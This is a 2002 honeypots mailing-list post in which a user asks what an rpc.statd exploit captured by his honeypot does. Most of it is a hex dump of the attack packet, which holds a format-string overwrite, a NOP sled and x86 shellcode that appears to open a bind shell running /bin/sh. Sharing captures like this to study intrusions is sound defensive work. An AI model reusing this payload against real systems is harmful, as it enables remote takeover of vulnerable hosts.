|
Honeypots
mailing list archives
statd exploit ???
From: "Sriram Newsgroups" <srinews () hotmail com>
Date: Wed, 30 Oct 2002 16:29:35 -0600
My honeypt recorded this packet. It looks to be a statd exploit (port
32768). I can't narrow it down to what exactly this exploit does or its nature.
Here is the sample packet
10/25-17:41:34.464523 24.123.46.10:847 -> x.x.x.linux:32768
UDP TTL:47 TOS:0x0 ID:51930 IpLen:20 DgmLen:1104
Len: 1084
51 1B 5D 1C 00 00 00 00 00 00 00 02 00 01 86 B8 Q.].............
00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20 ...............
3D B9 D6 3B 00 00 00 09 6C 6F 63 61 6C 68 6F 73 =..;....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t...............
00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF ................
18 F7 FF BF 1A F7 FF BF 1A F7 FF BF 25 38 78 25 ............%8x%
38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38 8x%8x%8x%8x%8x%8
78 25 38 78 25 38 78 25 36 32 37 31 36 78 25 68 x%8x%8x%62716x%h
6E 25 35 31 38 35 39 78 25 68 6E 90 90 90 90 90 n%51859x%hn.....
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
-------------------------- Reapeted 41 lines ---------------------
90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0 ..............1.
EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3 .|Y.A..A....A...
FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E .....f.....Y..A.
99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66 ..A...I..A.....f
CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0 .....f....0..A..
66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0 f......1..?.....
3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7 ?.....?..../bin.
46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56 F./shA0..F..v..V
10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F ..N.............
FF FF FF 00 ....
My honeypot replied with this
10/25-17:41:34.468306 x.x.x.linux:32768 -> 24.123.46.10:847
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
Len: 40
51 1B 5D 1C 00 00 00 01 00 00 00 00 00 00 00 00 Q.].............
00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 2F .............../
Any ideas ????
Sriram
By Date
By Thread
Current thread:
- statd exploit ??? Sriram Newsgroups (Oct 30)
|